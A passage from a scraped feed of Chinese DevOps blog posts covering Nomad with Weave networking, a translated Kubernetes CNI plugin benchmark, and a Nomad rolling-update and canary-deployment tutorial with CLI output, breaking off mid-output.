如果在httpbackend的service配置中使用如下配置：\nservice { name = \u0026quot;httpbackend\u0026quot; address_mode = \u0026quot;driver\u0026quot; } 那么，我们得到的是下面结果：\n# ./services 172.17.0.3 : 0 172.17.0.2 : 0 172.17.0.2 : 0 [] 也就是说nomad在consul中记录的container的advertise ip不是我们想要的weave subnet网段的ip信息，这样就会导致我们通过consul的DNS服务或者通过consul api获取的服务ip信息有误，导致无法通过这两种方式访问到服务实例。在nomad的最新版v0.9.0中该问题依然存在。\n综上，“隔离”的目的得到了部分满足，期待后续nomad的改进。\n六、参考资料 https://www.weave.works/docs/net/latest/install/installing-weave/\nhttps://www.weave.works/docs/net/latest/install/using-weave/#peer-connections\nhttps://www.weave.works/docs/net/latest/install/plugin/plugin/#launching\nhttps://www.weave.works/docs/net/latest/tasks/manage/host-network-integration/\nhttps://docs.docker.com/v17.09/engine/userguide/networking/configure-dns/\nhttps://www.nomadproject.io/docs/drivers/docker.html#client-requirements\nhttps://www.weave.works/docs/net/latest/tasks/manage/application-isolation/\nhttps://www.weave.works/docs/net/latest/tasks/weave-docker-api/weave-docker-api/\nhttps://www.nomadproject.io/docs/drivers/docker.html\nhttps://www.nomadproject.io/docs/configuration/client.html\nhttps://www.nomadproject.io/docs/job-specification/service.html#using-driver-address-mode\nhttps://success.docker.com/article/networking\n本文涉及到的配置文件和源码，参见这里。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/04/20/deploy-workload-in-weave-network-using-nomad/","summary":"\u003cp\u003e当初\u003ca href=\"https://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e网络的设计目标是\u003cstrong\u003e使得开发者使用pod时在网络这一层面可以像使用传统物理主机或虚拟机一样\u003c/strong\u003e。具体的基本要求如下：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e所有pod间均应可以在无需NAT的情况下直接通信；\u003c/li\u003e\n\u003cli\u003e所有集群节点与所有集群的Pod之间均应可以在无需NAT的情况下直接通信；\u003c/li\u003e\n\u003cli\u003e容器自身的地址和其他pod看到的它的地址是同一个地址；\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e按照这样的要求，集群中的每个pod都在一个平坦的、共享网络命名空间中，并且每个Pod都拥有一个IP，通信时无需端口映射。 用户也需要额外考虑如何建立Pod之间的连接，也不需要考虑将容器端口映射到主机端口等问题。基于这些要求而实现的k8s pod网络模型，将具有向后兼容的特性，可以使得Pod从某些角度上可以被看成是一个传统的物理主机或vm来对待。\u003c/p\u003e","title":"使用nomad在weave网络中部署工作负载"},{"content":"本文翻译自Alexis Ducastel的文章《Benchmark results of Kubernetes network plugins (CNI) over 10Gbit/s network (Updated: April 2019)》。\n本文是我之前的基准测试的最新更新，这次测试在最新版Kubernetes 1.14上运行，其中CNI版本在2019年4月更新。\n首先，非常感谢Cilium团队对我的帮助，包括协助审查测试结果以及更正我的指标监控脚本。\n自2018年11月以来都有哪些新变化 如果你只是想知道自上次以来发生的变化，这里有一个简短的总结：\nFlannel仍然是CNI竞赛中最快和最精简的那个选手，但它仍然不支持NetworkPolicies(网络策略)，也不支持加密。\nRomana不再维护，因此我们决定将其从基准测试中剔除。\nWeaveNet现在同时支持Ingress和Egress的NetworkPolicies！但性能要略低于之前的版本。\n如果您想获得最佳性能，Calico仍需要手动定制MTU。Calico为安装CNI提供了两个新选项，无需专用ETCD存储：\n将状态存储在Kubernetes API中作为数据存储区（集群\u0026lt;50个节点） 使用Typha代理将状态存储在Kubernetes API中，以减轻K8S API（集群\u0026gt; 50个节点）的压力 Calico宣布在Istio之上支持应用层策略(Application Layer Policy)，为应用层带来安全性。\nCilium现在支持加密！Cilium使用IPSec隧道提供加密，并为WeaveNet提供了加密网络的替代方案。但是，在启用加密的情况下，WeaveNet比Cilium更快。这是由于Cilium 1.4.2仅支持CBC加密，若使用GCM将会更好，但它将是1.5版本的Cilium的一部分。\n由于嵌入了ETCD operator，因此Cilium现在更容易部署。\nCilium团队还通过降低内存消耗和CPU成本，努力减少CNI占用空间。但他们仍然比其他选手更重。\n基准测试的上下文 基准测试是在通过Supermicro 10Gbit交换机连接的三台Supermicro裸机服务器上进行的。服务器通过DAC SFP +无源电缆直接连接到交换机，并在激活巨型帧（MTU 9000）的同一VLAN中设置。\nKubernetes 1.14.0​在Ubuntu 18.04 LTS上运行，运行Docker 18.09.2（此linux版本中的默认docker版本）。\n为了提高可重复性，我们选择始终在第一个节点上设置master，在第二个服务器上设置基准测试的服务器部分，在第三个服务器上设置客户端部分。这是通过Kubernetes deployments中的NodeSelector实现的。\n以下是我们将用于描述基准测试结果和解释的表情图：\n为基准测试选择CNI 这个基准测试仅仅关注那些入选kubernetes正式文档：“create a single master cluster with kubeadm”中的CNI列表。在提到的9个CNI中，我们只测试其中的6个，不包括那些我们无法轻松安装和/或不通过以下文档开箱即用的工具（Romana，Contiv-VPP和JuniperContrail / TungstenFabric）\n以下是我们将要比较的CNI列表：\nCalico v3.6 Canal v3.6（事实上，Flannel用于网络+ Calico用于防火墙） Cilium 1.4.2 Flannel 0.11.0 Kube-router 0.2.5 WeaveNet 2.5.1 安装 CNI越容易设置，我们对其第一印象就越好。所有参与基准测试的CNI都很容易设置（一个或两个命令行）。\n如前所述，服务器和交换机都配置了Jumbo帧激活（通过将MTU设置为9000）。我们非常感谢CNI可以自动发现要使用的MTU，具体取决于适配器。事实上，Cilium和Flannel是唯一能够正确自动检测MTU的选手。大多数其他CNI在GitHub中引发了启用MTU自动检测的问题，但是现在，我们需要通过修改Calico，Canal和Kube-router的ConfigMap或WeaveNet的ENV var来手动修复它。\n也许您想知道错误的MTU会产生什么影响？这里有一个图表，显示WeaveNet与默认MTU和WeaveNet与Jumbo帧之间的区别：\n那么，既然我们知道MTU对性能非常重要，那么这些CNI如何自动检测MTU：\n正如我们在上图中看到的，我们必须对Calico，Canal，Kube-router和WeaveNet应用一些MTU调整以获得最佳性能。Cilium和Flannel能够自行正确地自动检测MTU，确保开箱即用的最佳性能。\n安全 在比较这些CNI的安全性时，我们谈论两件事：它们加密通信的能力，以及它们对Kubernetes网络策略的实现（根据实际测试，而不是来自他们的文档）。\n只有两个CNI可以实现加密通信：Cilium和WeaveNet。通过将加密密码设置为CNI的ENV变量可以来启用WeaveNet加密。WeaveNet文档有点令人困惑，但这很容易做到。Cilium加密是通过创建Kubernetes Secrets和daemonSet修改的命令设置的（比WeaveNet复杂一点，但是Cilium有很棒的文档记录了它）。\n在网络策略实现方面，通过实施Ingress和Egress规则，Calico，Canal，Cilium和WeaveNet是最好的控制面板。Kube-router实际上只实现了Ingress规则。\nFlannel没有实现网络策略。\n以下是结果摘要：\n性能 该基准测试显示每次测试的三次运行（至少）的平均带宽。我们正在测试TCP和UDP性能（使用iperf3），真实应用程序，如HTTP（使用Nginx和curl），或FTP（使用vsftpd和curl），最后是使用SCP协议进行应用程序加密的行为（使用OpenSSH服务器和客户端）。\n对于所有测试，我们还在裸机节点（绿色条）上运行基准测试，以比较CNI与本机网络性能的有效性。为了与我们的基准比例保持一致，我们在图表上使用以下颜色：\n黄色=非常好 橙色=好 蓝色=一般 红色=差 因为我们不关注错误配置的CNI的性能，所以我们只会显示MTU调整的CNI基准测试结果。（NOTA BENE：如果激活加密，Cilium无法正确计算MTU，因此您必须在v1.4中手动将MTU降低到8900.下一版1.5将自动适应。）\n结果如下：\n每个CNI都在TCP基准测试中表现良好。由于加密成本，启用加密的CNI远远落后于其他CNI。\n同样，在UDP基准测试中，所有CNI都表现良好。加密的CNI现在彼此非常接近。Cilium落后于其竞争对手，但事实上，它仅略高于裸机结果的2,3％，这是公平的。我们应该记住的是，Cilium和Flannel都是唯一能够正确自动检测MTU的CNI，从而提供了开箱即用的结果。\n真实世界的应用程序怎么样？使用HTTP基准测试，我们可以看到全局性能略低于TCP测试。即使HTTP支持TCP，在TCP基准测试中，iperf3配置为避免任何“TCP慢启动”副作用，这可以有效地影响HTTP基准测试。这里的每个选手的表现都相当不错，Kube-router有明显的优势，WeaveNet在这项测试中表现非常糟糕，比裸机少了约20％。Cilium加密和WeaveNet加密现在都远远落后于裸机性能。\n使用FTP，另一个TCP支持的协议，结果更加复杂。虽然Flannel和Kube-router的表现非常好，但是Calico，Canal和Cilium稍稍落后，在裸机速度下约为10％。WeaveNet与裸机性能相差甚远，差距为17\u0026gt;％。无论如何，WeaveNet的加密版本比Cilium加密的性能高出约40％。\n通过SCP，我们可以清楚地看到SSH协议的加密成本。大多数CNI表现良好，但WeaveNet再次落后于其他人。当然，由于双重加密成本（SSH加密+ CNI加密）。\n以下是性能摘要总结：\n资源消耗 现在让我们比较这些CNI在负载很重的情况下处理所带来的资源消耗如何（在TCP 10Gbit传输期间）。在性能测试中，我们将CNI与裸金属（绿色条）进行比较。对于资源消耗测试，我们还显示了没有任何CNI设置的新闲置Kubernetes（紫色条）的消耗。然后我们可以计算出CNI真正消耗的开销。\n让我们从内存方面开始吧。以下是传输期间以MB为单位的平均节点RAM使用率（无缓冲区/缓存）。\nFlannel和Kube-router表现非常好，只有大约50MB的内存占用，其次是Calico和Canal，70MB。WeaveNet的消费量明显高于其竞争对手，资源占用约为130MB。凭借400MB的内存占用，Cilium具有最高的基准内存消耗。\n现在，让我们检查CPU消耗。警告：图形单位不是百分比，而是permil。因此裸金属的38 permil实际上是3.8％。结果如下：\nCalico，Canal，Flannel和Kube-router都非常高效的CPU使用，与没有CNI的kubernetes相比，开销仅多出2％。远远落后于WeaveNet，开销约为5％，然后是Cilium，CPU开销超过7％。\n以下是资源消耗的摘要：\n摘要 以下是所有结果的汇总概述：\n结论 最后一部分是主观的，并传达了我自己对结果的解释。请记住，此基准测试仅在一个非常小的集群（3个节点）上测试单个连接中的吞吐速度。它不反映大型集群（\u0026gt; 50个节点）的网络行为，也没有多少连接并发。\n如果你在相应的场景中，我建议使用以下CNI：\n您的群集中有低资源节点（只有几GB的RAM，几个核心）并且您不需要安全功能，请使用Flannel。它是我们测试过的最精简的CNI之一。此外，它与大量架构兼容（amd64，arm，arm64等）。它是唯一一个能够正确自动检测MTU的CNI，和Cilium一起，因此您无需配置任何内容即可使其正常工作。Kube-router也很好，但标准较低，需要您手动设置MTU。 出于安全原因，您需要加密网络，请使用WeaveNet。如果您使用巨型帧并通过在环境变量中提供密码来激活加密，请不要忘记设置MTU大小。但话说回过来，忘掉性能，这就是加密的代价。 对于其他常见用法，我会推荐Calico。这种CNI广泛用于许多kubernetes部署工具（Kops，Kubespray，Rancher等）。就像WeaveNet一样，如果您使用的是巨型帧，请不要忘记在ConfigMap中设置MTU。事实证明，它在资源消耗，性能和安全性方面具有多用途和高效性。 最后但并非最不重要的，我建议你关注Cilium的工作。他们的团队非常活跃，他们正在努力提高他们的CNI（功能，资源节约，性能，安全性，多集群跨越……），他们的路线图听起来非常有趣。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/04/18/benchmark-result-of-k8s-network-plugin-cni/","summary":"\u003cp\u003e本文翻译自Alexis Ducastel的文章\u003ca href=\"https://itnext.io/benchmark-results-of-kubernetes-network-plugins-cni-over-10gbit-s-network-updated-april-2019-4a9886efe9c4\"\u003e《Benchmark results of Kubernetes network plugins (CNI) over 10Gbit/s network (Updated: April 2019)》\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e本文是我\u003ca href=\"https://itnext.io/benchmark-results-of-kubernetes-network-plugins-cni-over-10gbit-s-network-36475925a560\"\u003e之前的基准测试\u003c/a\u003e的最新更新，这次测试在最新版\u003ca href=\"https://kubernetes.io/blog/2019/03/25/kubernetes-1-14-release-announcement/\"\u003eKubernetes 1.14\u003c/a\u003e上运行，其中CNI版本在2019年4月更新。\u003c/p\u003e","title":"Kubernetes网络插件（CNI）基准测试的最新结果"},{"content":"书接上文。\n在《使用nomad实现集群管理和微服务部署调度》一文中，我们介绍了使用nomad进行集群管理和工作负载调度的轻量级方案（相较于Kubernetes方案）。在本文中，我们继续对方案进行延展，介绍一下在nomad集群中工作负载版本升级的一些常用模式和实现方法，包括滚动升级、蓝绿部署和金丝雀部署。\n一. 初始状态 这里我们利用基于tcp+sni路由(listener端口为9996)的httpsbackend-sni-1的job作为演示job，该job的初始部署nomad job文件为：httpsbackend-tcp-sni-1.nomad (注：不同的是，这里将count初始值改为了3)。\n当前httpsbackend-sni-1这个job的状态如下：\n# nomad job status httpsbackend-sni-1 ID = httpsbackend-sni-1 Name = httpsbackend-sni-1 Submit Date = 2019-04-08T10:57:29+08:00 Type = service Priority = 50 Datacenters = dc1 Status = running Periodic = false Parameterized = false Summary Task Group Queued Starting Running Failed Complete Lost httpsbackend-sni-1 0 0 3 0 3 0 Allocations ID Node ID Task Group Version Desired Status Created Modified 7ac186b8 7acdd7bc httpsbackend-sni-1 22 run running 1m18s ago 1m1s ago 8a79085f c281658a httpsbackend-sni-1 22 run running 1m18s ago 46s ago f9ffef32 9e3ef19f httpsbackend-sni-1 22 run running 1m18s ago 59s ago 0ed95591 9e3ef19f httpsbackend-sni-1 20 stop complete 5d19h ago 7m16s ago 604d2151 9e3ef19f httpsbackend-sni-1 20 stop complete 5d19h ago 7m16s ago 06404fff 7acdd7bc httpsbackend-sni-1 20 stop complete 5d20h ago 7m14s ago fabio路由表如下：\n# curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.0 接下来，我们就以这个job为基础，使用各种版本升级模式对其进行更新。\n二. 滚动更新(rolling update) 下面是blog.itaysk.com上一篇文章中的有关滚动更新的示意图：\n可以大致看出所谓滚动更新就是对目标环境下老版本的程序进行逐批的替换，每批的数量可以是1，也可以大于1，根据目标实例的个数自定义。替换过程中，新老版本是并存的，直到所有目标实例都被替换为新版本。\nnomad支持通过在job描述文件中增加update配置来支持滚动更新。我们创建httpsbackend-tcp-sni-1-rolling-update.nomad，考虑篇幅，这里仅列出与httpsbackend-tcp-sni-1.nomad的差异：\n# diff httpsbackend-tcp-sni-1-rolling-update.nomad ./httpsbackend-tcp-sni-1.nomad 14,19d13 \u0026lt; update { \u0026lt; max_parallel = 1 \u0026lt; min_healthy_time = \u0026quot;30s\u0026quot; \u0026lt; healthy_deadline = \u0026quot;5m\u0026quot; \u0026lt; } \u0026lt; 23c17 \u0026lt; image = \u0026quot;bigwhite/httpsbackendservice:v1.0.1\u0026quot; --- \u0026gt; image = \u0026quot;bigwhite/httpsbackendservice:v1.0.0\u0026quot; 新job nomad文件使用了v1.0.1版本的httpsbackendservice image，增加了update {…}配置环节，其中的max_parallel指示的是滚动更新每批更新的数量，这里是1，也就是说一批仅用新版本替换一个老版本实例。\n执行滚动更新：\n# nomad job run httpsbackend-tcp-sni-1-rolling-update.nomad ==\u0026gt; Monitoring evaluation \u0026quot;8d39ab53\u0026quot; Evaluation triggered by job \u0026quot;httpsbackend-sni-1\u0026quot; Evaluation within deployment: \u0026quot;348ef16b\u0026quot; Allocation \u0026quot;88c1a29e\u0026quot; created: node \u0026quot;7acdd7bc\u0026quot;, group \u0026quot;httpsbackend-sni-1\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;8d39ab53\u0026quot; finished with status \u0026quot;complete\u0026quot; httpsbackendservice job的task group有三个task实例，因此更新需要一些时间，我们在更新过程中查看job status：\n# nomad job status httpsbackend-sni-1 ID = httpsbackend-sni-1 Name = httpsbackend-sni-1 Submit Date = 2019-04-08T13:06:35+08:00 Type = service Priority = 50 Datacenters = dc1 Status = running Periodic = false Parameterized = false Summary Task Group Queued Starting Running Failed Complete Lost httpsbackend-sni-1 0 0 3 0 4 0 Latest Deployment ID = 348ef16b Status = running Description = Deployment is running Deployed Task Group Desired Placed Healthy Unhealthy Progress Deadline httpsbackend-sni-1 3 1 0 0 2019-04-08T13:16:35+08:00 Allocations ID Node ID Task Group Version Desired Status Created Modified 88c1a29e 7acdd7bc httpsbackend-sni-1 23 run running 44s ago 41s ago 7ac186b8 7acdd7bc httpsbackend-sni-1 22 run running 2h9m ago 2h9m ago 8a79085f c281658a httpsbackend-sni-1 22 run running 2h9m ago 2h9m ago f9ffef32 9e3ef19f httpsbackend-sni-1 22 stop complete 2h9m ago 44s ago 我们看到nomad job status命令输出的信息中多出了“Latest Deployment”一个小节，在该小节中，我们看到了一个ID为348ef16b的deployment正在run。这个deployment对应的就是这次的滚动更新，我们看到下面的allocations列表中，一个version为22的allocation已经stop，一个version为23的allocation已经run，这说明nomad已经完成了一个task实例的版本升级。\n我们再来查看一下job执行的最终状态：\n# nomad job status httpsbackend-sni-1 ID = httpsbackend-sni-1 Name = httpsbackend-sni-1 Submit Date = 2019-04-08T13:06:35+08:00 Type = service Priority = 50 Datacenters = dc1 Status = running Periodic = false Parameterized = false Summary Task Group Queued Starting Running Failed Complete Lost httpsbackend-sni-1 0 0 3 0 6 0 Latest Deployment ID = 348ef16b Status = successful Description = Deployment completed successfully Deployed Task Group Desired Placed Healthy Unhealthy Progress Deadline httpsbackend-sni-1 3 3 3 0 2019-04-08T13:18:43+08:00 Allocations ID Node ID Task Group Version Desired Status Created Modified da1b545b 7acdd7bc httpsbackend-sni-1 23 run running 34s ago 2s ago 44da5693 9e3ef19f httpsbackend-sni-1 23 run running 1m25s ago 36s ago 88c1a29e 7acdd7bc httpsbackend-sni-1 23 run running 2m10s ago 1m26s ago 7ac186b8 7acdd7bc httpsbackend-sni-1 22 stop complete 2h11m ago 1m24s ago 8a79085f c281658a httpsbackend-sni-1 22 stop complete 2h11m ago 34s ago f9ffef32 9e3ef19f httpsbackend-sni-1 22 stop complete 2h11m ago 2m10s ago 我们看到job执行的最终结果：ID为348ef16b的deployment执行成功；所有version 为23的allocations都处于running状态。task group的三个task实例都处于healthy状态。这说明滚动更新成功了！\n我们也可以通过nomad提供的deployment子命令查看deployment的状态，deployment id作为命令参数：\n# nomad deployment list ID Job ID Job Version Status Description 348ef16b httpsbackend-sni-1 23 successful Deployment completed successfully # nomad deployment status 348ef16b ID = 348ef16b Job ID = httpsbackend-sni-1 Job Version = 23 Status = successful Description = Deployment completed successfully Deployed Task Group Desired Placed Healthy Unhealthy Progress Deadline httpsbackend-sni-1 3 3 3 0 2019-04-08T13:18:43+08:00 滚动更新后的路由：\n测试一下部署成功的新版本服务：\n# curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.1 三. 金丝雀部署(canary deployment) 金丝雀部署是另外一种十分有用的部署模式，下面示意图来自blog.itaysk.com：\n金丝雀 (Canary)得名于矿工的一个工作习惯：下矿洞前，先会放一只金丝雀进去探测是否有有毒气体，看金丝雀能否活下来。如果金丝雀活下来，则继续下矿操作；否则停止下矿。金丝雀部署亦是先部署少量新版本的服务实例，发布后，开发者可简单地通过手工测试验证新版本实例，又或通过完善的自动化测试基础设施对新版本实例进行详尽验证；甚至是直接接收部分生产流量以充分验证新版本功能、稳定性、性能等，以给予开发者更多信心。如果金丝雀实例通过全部测试验证，则把所有老版本全部升级为新版本。如果金丝雀测试失败，则直接回退金丝雀实例，发布失败。\nnomad支持两种模式的canary部署：既支持部署canary实例去直接接收生产流量（按比例权重），也可以将其与生产实例隔离开来（利用路由）单独测试验证，下面分别说说这两种模式。\n1. 部署canary实例去直接接收生产流量（按比例权重） 我们创建一个新的nomad job文件：httpsbackend-tcp-sni-1-canary-1.nomad\n# diff httpsbackend-tcp-sni-1-canary-1.nomad httpsbackend-tcp-sni-1-rolling-update.nomad 18d17 \u0026lt; canary = 1 24c23 \u0026lt; image = \u0026quot;bigwhite/httpsbackendservice:v1.0.2\u0026quot; --- \u0026gt; image = \u0026quot;bigwhite/httpsbackendservice:v1.0.1\u0026quot; 我们看到除了新版本task使用v1.0.2版image之外，最大的不同就是在update {…}配置区域增加了一行：\ncanary = 1 我们来plan一下该nomad文件：\n# nomad job plan httpsbackend-tcp-sni-1-canary-1.nomad +/- Job: \u0026quot;httpsbackend-sni-1\u0026quot; +/- Task Group: \u0026quot;httpsbackend-sni-1\u0026quot; (1 canary, 3 ignore) +/- Update { AutoRevert: \u0026quot;false\u0026quot; +/- Canary: \u0026quot;0\u0026quot; =\u0026gt; \u0026quot;1\u0026quot; HealthCheck: \u0026quot;checks\u0026quot; HealthyDeadline: \u0026quot;300000000000\u0026quot; MaxParallel: \u0026quot;1\u0026quot; MinHealthyTime: \u0026quot;30000000000\u0026quot; ProgressDeadline: \u0026quot;600000000000\u0026quot; } +/- Task: \u0026quot;httpsbackend-sni-1\u0026quot; (forces create/destroy update) +/- Config { +/- image: \u0026quot;bigwhite/httpsbackendservice:v1.0.1\u0026quot; =\u0026gt; \u0026quot;bigwhite/httpsbackendservice:v1.0.2\u0026quot; logging[0][type]: \u0026quot;json-file\u0026quot; port_map[0][https]: \u0026quot;7777\u0026quot; } Scheduler dry-run: - All tasks successfully allocated. ... ... 我们看到nomad分析的结果是：需要创建一个canary实例，忽略三个已经存在的旧版本task实例。同时task group的canary属性从“0”变为了“1”。\n我们来run该job：\n# nomad job run httpsbackend-tcp-sni-1-canary-1.nomad ==\u0026gt; Monitoring evaluation \u0026quot;0494a8a9\u0026quot; Evaluation triggered by job \u0026quot;httpsbackend-sni-1\u0026quot; Evaluation within deployment: \u0026quot;3e541fb3\u0026quot; Allocation \u0026quot;4d678e67\u0026quot; created: node \u0026quot;c281658a\u0026quot;, group \u0026quot;httpsbackend-sni-1\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;0494a8a9\u0026quot; finished with status \u0026quot;complete\u0026quot; 查看job的run状态：\n# nomad job status httpsbackend-sni-1 ID = httpsbackend-sni-1 Name = httpsbackend-sni-1 Submit Date = 2019-04-08T21:04:49+08:00 Type = service Priority = 50 Datacenters = dc1 Status = running Periodic = false Parameterized = false Summary Task Group Queued Starting Running Failed Complete Lost httpsbackend-sni-1 0 0 4 0 6 0 Latest Deployment ID = 3e541fb3 Status = running Description = Deployment is running but requires promotion Deployed Task Group Promoted Desired Canaries Placed Healthy Unhealthy Progress Deadline httpsbackend-sni-1 false 3 1 1 0 0 2019-04-08T21:14:49+08:00 Allocations ID Node ID Task Group Version Desired Status Created Modified 4d678e67 c281658a httpsbackend-sni-1 24 run running 31s ago 15s ago da1b545b 7acdd7bc httpsbackend-sni-1 23 run running 7h57m ago 7h56m ago 44da5693 9e3ef19f httpsbackend-sni-1 23 run running 7h57m ago 7h57m ago 88c1a29e 7acdd7bc httpsbackend-sni-1 23 run running 7h58m ago 7h58m ago # nomad deployment status 3e541fb3 ID = 3e541fb3 Job ID = httpsbackend-sni-1 Job Version = 24 Status = running Description = Deployment is running but requires promotion Deployed Task Group Promoted Desired Canaries Placed Healthy Unhealthy Progress Deadline httpsbackend-sni-1 false 3 1 1 1 0 2019-04-08T21:15:35+08:00 我们看到：\n处于running状态的allocations变成了4个，但是只有一个是version = 24的，其余都为version = 23。version = 24这个显然是我们新部署的canary实例，而另外三个则为原有的老版本实例。\n在Deployment输出信息中，我们看到了一个描述信息：“Deployment is running but requires promotion”，意思是此次用于部署canary实例的Deployment已经running了，但是还未到最终状态，还需要promote命令。只有promote后，整个的更新工作才算是ok。\n下面是canary部署后的fabio的路由：\n我们看到canary实例与其余老版本的路由规则是一致的，并平分的负载权重。也就是说新部署的canary实例与老版本实例一起承载生产流量(canary实例占25%的权重)，我们来验证一下：\n# curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.2 # curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.1 # curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.1 # curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.1 我们看到第一个请求的流量就打到了我们部署的Canary实例身上了。\n如果经过一段时间的验证后，证明canary实例满足要求，我们就要继续推动部署的进程使得该nomad deployment走向最终状态：即将老版本的实例都升级为新版本。\n# nomad deployment promote 3e541fb3 ==\u0026gt; Monitoring evaluation \u0026quot;b5e29b1a\u0026quot; Evaluation triggered by job \u0026quot;httpsbackend-sni-1\u0026quot; Evaluation within deployment: \u0026quot;3e541fb3\u0026quot; Allocation \u0026quot;085a518e\u0026quot; created: node \u0026quot;7acdd7bc\u0026quot;, group \u0026quot;httpsbackend-sni-1\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;b5e29b1a\u0026quot; finished with status \u0026quot;complete\u0026quot; # nomad job status httpsbackend-sni-1 ID = httpsbackend-sni-1 Name = httpsbackend-sni-1 Submit Date = 2019-04-08T21:04:49+08:00 Type = service Priority = 50 Datacenters = dc1 Status = running Periodic = false Parameterized = false Summary Task Group Queued Starting Running Failed Complete Lost httpsbackend-sni-1 0 0 3 0 9 0 Latest Deployment ID = 3e541fb3 Status = successful Description = Deployment completed successfully Deployed Task Group Promoted Desired Canaries Placed Healthy Unhealthy Progress Deadline httpsbackend-sni-1 true 3 1 3 3 0 2019-04-08T21:30:54+08:00 Allocations ID Node ID Task Group Version Desired Status Created Modified 40276d89 9e3ef19f httpsbackend-sni-1 24 run running 56s ago 11s ago 085a518e 7acdd7bc httpsbackend-sni-1 24 run running 1m49s ago 58s ago 4d678e67 c281658a httpsbackend-sni-1 24 run running 16m17s ago 1m49s ago da1b545b 7acdd7bc httpsbackend-sni-1 23 stop complete 8h12m ago 56s ago 44da5693 9e3ef19f httpsbackend-sni-1 23 stop complete 8h13m ago 1m48s ago 88c1a29e 7acdd7bc httpsbackend-sni-1 23 stop complete 8h14m ago 1m47s ago 通过deployment promote命令使得canary deployment进程继续推进，直到将所有老版本的实例都用canary实例替换掉。也就是我们最终看到的上面的version = 24的allocations都处于running状态，并且一共是三个实例。\n我们再来测试一下升级后的服务：\n# curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.2 # curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.2 # curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.2 我们看到：所有实例都升级到了v1.0.2版本。\n2.将canary实例与生产实例隔离开来（利用路由）单独测试验证 如果开发者对自己的代码很有信心，不需要将canary实例暴露在生产流量中去验证，nomad也支持将canary实例与生产实例隔离开来（利用路由）单独测试验证。\n我们基于httpsbackend-tcp-sni-1-canary-1.nomad改写出一个httpsbackend-tcp-sni-1-canary-2.nomad：\n# diff httpsbackend-tcp-sni-1-canary-2.nomad httpsbackend-tcp-sni-1-canary-1.nomad 24c24 \u0026lt; image = \u0026quot;bigwhite/httpsbackendservice:v1.0.3\u0026quot; --- \u0026gt; image = \u0026quot;bigwhite/httpsbackendservice:v1.0.2\u0026quot; 43d42 \u0026lt; canary_tags = [\u0026quot;urlprefix-canary.mysite-sni-1.com/ proto=tcp+sni\u0026quot;] 我们看到，在新的job文件中，我们除了将image版本升级为v1.0.3，我们还在service{…}配置区域增加了下面这行：\ncanary_tags = [\u0026quot;urlprefix-canary.mysite-sni-1.com/ proto=tcp+sni\u0026quot;] 该配置是canary实例专有的，这里我们通过在canary_tags为canary实例单独定义了路由，以免和老版本实例共享路由分担生产流量。\n我们照例运行该job并查看job执行后的status：\n# nomad job run httpsbackend-tcp-sni-1-canary-2.nomad ==\u0026gt; Monitoring evaluation \u0026quot;44e36161\u0026quot; Evaluation triggered by job \u0026quot;httpsbackend-sni-1\u0026quot; Evaluation within deployment: \u0026quot;e43d2551\u0026quot; Allocation \u0026quot;73319890\u0026quot; created: node \u0026quot;7acdd7bc\u0026quot;, group \u0026quot;httpsbackend-sni-1\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;44e36161\u0026quot; finished with status \u0026quot;complete\u0026quot; # nomad job status httpsbackend-sni-1 ID = httpsbackend-sni-1 Name = httpsbackend-sni-1 Submit Date = 2019-04-08T21:35:03+08:00 Type = service Priority = 50 Datacenters = dc1 Status = running Periodic = false Parameterized = false Summary Task Group Queued Starting Running Failed Complete Lost httpsbackend-sni-1 0 0 4 0 9 0 Latest Deployment ID = 